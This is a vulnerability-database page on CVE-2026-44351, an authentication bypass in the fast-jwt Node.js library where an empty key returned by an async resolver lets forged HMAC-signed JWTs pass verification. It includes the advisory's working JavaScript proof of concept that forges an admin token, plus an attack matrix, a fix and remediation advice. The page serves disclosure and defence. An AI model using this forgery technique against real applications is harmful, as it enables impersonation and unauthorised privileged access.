Skip to main content

fast-jwt CVE-2026-44351

CRITICAL
Improper Authentication (CWE-287)
2026-05-06 https://github.com/nearform/fast-jwt GHSA-gmvf-9v4p-v8jc
9.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI
7.4 HIGH

Remote and unauthenticated (AV:N/PR:N/UI:N) with full identity forgery (C:H/I:H), but AC:H because success depends on the app's resolver returning an empty key - a condition outside attacker control; no availability impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 23:10 vuln.today
Analysis Generated
Jul 23, 2026 - 23:10 vuln.today
CVE Published
May 06, 2026 - 22:26 nvd
CRITICAL 9.1

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 4 npm packages depend on fast-jwt (1 direct, 3 indirect)

Ecosystem-wide dependent count for version 6.2.4.

DescriptionGitHub Advisory

Summary

A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint - and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release fast-jwt@6.2.3.

Preconditions

For this issue to occur the following MUST ALL be true:

  1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))
  2. The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue
  3. The library configuration must allow HMAC signatures. This is the default for the library.
  4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
  5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.

Details

src/verifier.js prepareKeyOrSecret (lines 33-39):

js
function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check
}

src/verifier.js async key-resolver flow (lines 429-468):

js
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)
  } else if (!(currentKey instanceof Buffer)) {
    return callback(... 'string or buffer'...)
  }

  try {
    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']

    if (validationContext.allowedAlgorithms.length) {
      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
    } else {
      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned
    }

    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
    // → createSecretKey(Buffer.alloc(0)) - Node accepts the empty secret silently
    verifyToken(currentKey, decoded, validationContext)
  }
})

src/crypto.js verifySignature (lines 286-291):

js
if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.

The bug exists *only* on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.

PoC

js
// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'

function b64url(buf) {
  return Buffer.from(buf).toString('base64')
    .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}

// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
  sub: 'attacker', admin: true,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`

// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})

console.log(await verifier(forgedToken))

Output on fast-jwt@6.2.3:

{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }
  • the attacker-chosen payload is returned as authentic.

Attack matrix verified against fast-jwt@6.2.3:

Resolver shapealgorithms optionHS256HS384HS512
async () => ''(default)✅ accept✅ accept✅ accept
(d, cb) => cb(null, '')(default)✅ accept✅ accept✅ accept
`async d => keys[d.header.kid] \\''`(default)✅ accept
async () => ''['HS256','HS384','HS512']✅ accept✅ accept✅ accept
async () => ''['HS256','RS256']✅ acceptINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

The bug is *only* not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.

Sense checks (also verified against fast-jwt@6.2.3 to rule out my harness):

  • A token signed with the *real* secret continues to verify correctly. → ACCEPTED.
  • A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. → INVALID_SIGNATURE.
  • The synchronous key: '' (string) configuration is correctly rejected. → MISSING_KEY.

Impact

Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, *and* whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.

Concrete attacker capabilities:

  1. Mint arbitrary JWTs with attacker-chosen sub, admin, roles, scopes, iss, aud, etc.
  2. Full identity assumption - any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
  3. Default-config exploitable - the caller does not need to misconfigure algorithms. With the default empty array, fast-jwt itself assigns ['HS256','HS384','HS512'] when it sees an empty key.
  4. Cache amplification - once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.

The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.

Suggested fix

Reject zero-length HMAC secrets in prepareKeyOrSecret:

diff
 function prepareKeyOrSecret(key, isSecret) {
   if (typeof key === 'string') {
     key = Buffer.from(key, 'utf-8')
   }
+
+  if (isSecret && (!key || key.length === 0)) {
+    throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+  }
+
   return isSecret ? createSecretKey(key) : createPublicKey(key)
 }

This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.

For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.

AnalysisAI

Authentication bypass in the nearform fast-jwt Node.js library (<= 6.2.3) lets unauthenticated attackers forge arbitrary, fully attacker-controlled JWTs whenever an application's asynchronous key resolver returns an empty string or zero-length buffer. fast-jwt coerces the empty key into an empty HMAC secret, auto-selects the HS256/384/512 family, and validates the token's signature against HMAC(key=''), so an attacker who signs their own token with an empty key is accepted as authentic. A working proof-of-concept is published in the vendor advisory (publicly available exploit code exists); despite the 9.1 CVSS the EPSS score is only 0.05% (17th percentile), reflecting that exploitability depends on a specific consumer coding pattern.

Technical ContextAI

fast-jwt is a high-performance JSON Web Token implementation for Node.js maintained by NearForm, widely used for issuing and verifying JWTs in APIs and microservices. The flaw is a CWE-287 (Improper Authentication) defect rooted in missing key-material validation: in src/verifier.js, prepareKeyOrSecret() passes a caller-supplied key straight to Node's crypto.createSecretKey() with no length check, and the async-resolver path converts a returned '' into Buffer.alloc(0). detectPublicKeyAlgorithms() on an empty buffer falls through to the HMAC branch and returns ['HS256','HS384','HS512'], which - when the consumer left the default empty algorithms option - becomes the allowed set. crypto.createHmac then computes a valid MAC over an empty key, and timingSafeEqual returns true. Because the JWKS-style idiom keys[decoded.header.kid] || '' silently yields '' on any unknown kid, cache miss, or missing secret, the empty-key state is easy to reach. The bug is specific to the function-typed key resolver; synchronous falsy keys are correctly rejected at setup with MISSING_KEY. CPE/package identifier: pkg:npm/fast-jwt.

RemediationAI

Vendor-released patch: upgrade fast-jwt to 6.2.4 or later, which rejects zero-length HMAC secrets in prepareKeyOrSecret() with FAST_JWT_INVALID_KEY; this is the primary and recommended fix (see GHSA-gmvf-9v4p-v8jc). If you cannot upgrade immediately, apply specific compensating controls: harden your key resolver so it never returns '' or Buffer.alloc(0) - throw an error or return null/undefined on unknown kid, cache miss, or missing secret instead of falling back to '' (this closes the primitive with no functional downside for legitimate tokens). Additionally, explicitly set the verifier's algorithms option to only the asymmetric family you actually use (e.g. ['RS256'] or ['ES256']), which per the vendor's own attack matrix rejects the empty-key HMAC path with INVALID_KEY - trade-off: this breaks any legitimate HMAC-signed tokens, so only do it if you do not use HS* signatures. Be aware of fast-jwt's verification cache (default size 1000): a forged token accepted before remediation may remain cached, so clear/restart the process and consider lowering the cache TTL until patched.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

CVE-2026-44351 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy